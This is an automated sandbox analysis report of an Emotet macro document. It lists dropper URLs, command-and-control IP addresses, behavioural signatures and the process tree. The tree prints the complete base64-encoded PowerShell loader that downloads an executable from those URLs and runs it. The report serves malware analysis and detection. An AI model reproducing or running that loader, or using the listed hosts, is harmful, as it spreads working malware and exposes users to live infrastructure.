Analysis

  • max time kernel
    136s
  • max time network
    132s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    17/08/2020, 11:13

General

  • Target
    emotet_e1_6f099dcd03406b99e18af017ccbb95779cd65489d087b7e9337a07d78ef41f0c_2020-08-17__111152._doc.doc
  • Size 229KB
  • Sample200817-3pctltmrk2
  • SHA256 6f099dcd03406b99e18af017ccbb95779cd65489d087b7e9337a07d78ef41f0c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://gh.xahpyy120.com/phpmyadmin/doc/fPJxu81Tt/

  • exe.dropper

    http://ocelliptigo.com/undrag/FRg446071/

  • exe.dropper

    http://megasolucoesti.com/R9KDq0O8w/HBh300/

  • exe.dropper

    http://raiseways.com/wp-content/XwZGZ94507/

  • exe.dropper

    http://m.sxhpzyy120.com/kfal/hKIpdkhdqU/

Extracted

Family
  • emotet

C2
  • 174.100.27.229:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 192.241.146.84:8080

  • 95.9.180.128:80

  • 77.55.211.77:8080

  • 85.105.140.135:443

  • 45.33.77.42:8080

  • 77.90.136.129:8080

  • 94.176.234.118:443

  • 190.163.31.26:80

  • 190.6.193.152:8080

  • 190.181.235.46:80

  • 81.198.69.61:80

  • 188.2.217.94:80

  • 114.109.179.60:80

  • 83.169.21.32:7080

  • 137.74.106.111:7080

  • 212.231.60.98:80

  • 170.81.48.2:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_6f099dcd03406b99e18af017ccbb95779cd65489d087b7e9337a07d78ef41f0c_2020-08-17__111152._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:812
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABaADQAOABhAGwAMgBqAD0AJwBHAGQAawB3AHAAYgBrACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAYABVAHIASQBgAFQAWQBwAHIAYABvAFQAbwBDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFQAbQA3AGYAeABzAG4AIAA9ACAAJwBKAGcAdwBzACcAOwAkAE8AYQBnAHYANAA3ADAAPQAnAEkAdwByAHcAZQAyAGQAJwA7ACQAWgA1AGYAawB5ADcAcgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFQAbQA3AGYAeABzAG4AKwAnAC4AZQB4AGUAJwA7ACQAWQBiAGYAagB2ADUAYgA9ACcAUAA3AGgAegBjAHUAOAAnADsAJABGAGwAbAAxADgAMQBsAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAGMAbABpAGUAbgB0ADsAJABNAGsAcgB6ADAAaQAzAD0AJwBoAHQAdABwADoALwAvAGcAaAAuAHgAYQBoAHAAeQB5ADEAMgAwAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AZABvAGMALwBmAFAASgB4AHUAOAAxAFQAdAAvACoAaAB0AHQAcAA6AC8ALwBvAGMAZQBsAGwAaQBwAHQAaQBnAG8ALgBjAG8AbQAvAHUAbgBkAHIAYQBnAC8ARgBSAGcANAA0ADYAMAA3ADEALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGcAYQBzAG8AbAB1AGMAbwBlAHMAdABpAC4AYwBvAG0ALwBSADkASwBEAHEAMABPADgAdwAvAEgAQgBoADMAMAAwAC8AKgBoAHQAdABwADoALwAvAHIAYQBpAHMAZQB3AGEAeQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWAB3AFoARwBaADkANAA1ADAANwAvACoAaAB0AHQAcAA6AC8ALwBtAC4AcwB4AGgAcAB6AHkAeQAxADIAMAAuAGMAbwBtAC8AawBmAGEAbAAvAGgASwBJAHAAZABrAGgAZABxAFUALwAnAC4AIgBTAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAawAxADkAdwBsAGgAPQAnAFUAeABfAHgAeAB6AHIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAcwBiAGMAcQA2AGIAIABpAG4AIAAkAE0AawByAHoAMABpADMAKQB7AHQAcgB5AHsAJABGAGwAbAAxADgAMQBsAC4AIgBEAGAAbwB3AG4AbABPAGEAYABEAEYASQBsAGUAIgAoACQAQwBzAGIAYwBxADYAYgAsACAAJABaADUAZgBrAHkANwByACkAOwAkAFkAeABvAGgAegByAHIAPQAnAFoAeABfADgAegBqAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABaADUAZgBrAHkANwByACkALgAiAGwAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA2ADAANgAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFoANQBmAGsAeQA3AHIAKQA7ACQAUgA1ADYAYQBmAGEAeAA9ACcAVAByADAANQBvADgANwAnADsAYgByAGUAYQBrADsAJABOADIAcABmAHoAZABsAD0AJwBaADAAXwBtAGwAMQB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAOAAwADcAeAB4ADMAPQAnAFQAbwAwAF8AdAA4AHYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Users\Admin\AppData\Local\Temp\Jgws.exe
      "C:\Users\Admin\AppData\Local\Temp\Jgws.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3196
      • C:\Windows\SysWOW64\hh\VCardParser.exe
        "C:\Windows\SysWOW64\hh\VCardParser.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2568

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/812-1-0x00000173D6516000-0x00000173D654C000-memory.dmp

        memory/812-2-0x00000173D666C000-0x00000173D666D000-memory.dmp

        memory/812-3-0x00000173D666D000-0x00000173D6672000-memory.dmp

        memory/812-4-0x00000173D666D000-0x00000173D6672000-memory.dmp

        memory/812-5-0x00000173D666D000-0x00000173D6672000-memory.dmp

        memory/812-0-0x00007FF916C60000-0x00007FF917326000-memory.dmp

        memory/2284-8-0x0000023561690000-0x0000023561691000-memory.dmp

        memory/2284-7-0x00000235614E0000-0x00000235614E1000-memory.dmp

        memory/2284-6-0x00007FF90F1C0000-0x00007FF90FBAC000-memory.dmp

        memory/2568-15-0x0000000002070000-0x000000000207C000-memory.dmp

        memory/3196-12-0x0000000002220000-0x000000000222C000-memory.dmp